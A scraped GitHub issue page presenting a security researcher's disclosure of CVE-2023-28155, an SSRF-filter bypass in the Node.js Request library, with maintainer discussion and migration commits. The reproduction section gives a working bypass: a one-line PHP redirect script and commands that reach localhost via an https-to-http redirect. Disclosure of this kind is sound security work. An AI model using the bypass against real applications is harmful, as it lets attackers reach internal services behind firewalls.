New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CVE-2023-28155 Request allows a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect #3442
Comments
|
Not my conversation to be involving myself in, but why would you be forced to disclose the vulnerability publicly if they don't respond? |
|
Please refer to https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html "Why are disclosure deadlines necessary?" if you're not familiar with standard vulnerability disclosure practices |
SummaryA Server Side Request Forgery (SSRF) attack describes the ability of an attacker to create network connections from a vulnerable web application to the internal network and other Internet hosts. Frequently, a SSRF vulnerability is used to attack internal services placed behind a firewall and not directly accessible from the Internet. The Request library can be leveraged to initiate an HTTP / HTTPS connection and potentially gather information about the victim's internal infrastructure even if there's anti-SSRF filtering in place. The issue has been assigned with a CVE-2023-28155 identification number. Technical DescriptionIn JavaScript HTTP clients the SSRF filters utilize the HTTP(S) agents to hook to the // handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
delete request.agent
}Reproduction StepsThe issue can be demonstrated using the following steps:
<?php header('Location: '.$_GET["target"]); ?>
$ python3 -m http.server 80
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');
let url = process.argv[2];
console.log("Testing", url);
request({
uri: url,
agent: ssrfFilter(url),
});
console.log("OK");
$ node dev/request.js "https://tellico.fun/redirect.php?target=https://localhost/test"
Testing https://tellico.fun/redirect.php?target=https://localhost/test
events.js:353
throw er; // Unhandled 'error' event
^
Error: Call to 127.0.0.1 is blocked.
$ node dev/request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
OK |
|
I imagine this is where the problem lies?: I'm having a hard time deciding if this should be considered a requestjs "vuln" or if its more of a "bug". It looks like requestjs was always vulnerable to SSRFs, and Either way, it looks unfixable without editing requestjs's source. And given that requestjs has been deprecated for years, my guess is this won't be fixed. So wouldnt this mean its now time to move to other libraries? At least for companies that need to keep their |
|
Tangential call for help, and question addressed to subscribers of this issue: is it clear to you how to get SSRF protection in recently-introdued-in-node18 It's not to me. Community implementation END Tangential call for help, sorry for the mild noise, please comment about SSRF-in-native-node-fetch at nodejs/undici#2019 , not here. |
replace request with axios to solve (CVE-2023-28155) request/request#3442 solves issue stefanodefaria#26 update dev packages to fix other audit issues Signed-off-by: Robert Marklund <robbelibobban@gmail.com>
replace request with axios to solve (CVE-2023-28155) request/request#3442 solves issue stefanodefaria#26 update dev packages to fix other audit issues Signed-off-by: Robert Marklund <robbelibobban@gmail.com>
Summary
I am a security researcher at Doyensec.
During a security engagement I have identified a security vulnerability in the Request library.
In a spirit of a Responsible Disclosure we have tried to contact the maintainer directly on 12/02/2022 and 01/18/2023 via email, but we have received no answer.
Please provide a communication channel that would allow us to share the technical details and the proposed fix, otherwise we will be forced to disclose the vulnerability publicly.
You can contact me via email: szymon@doyensec.com
The text was updated successfully, but these errors were encountered: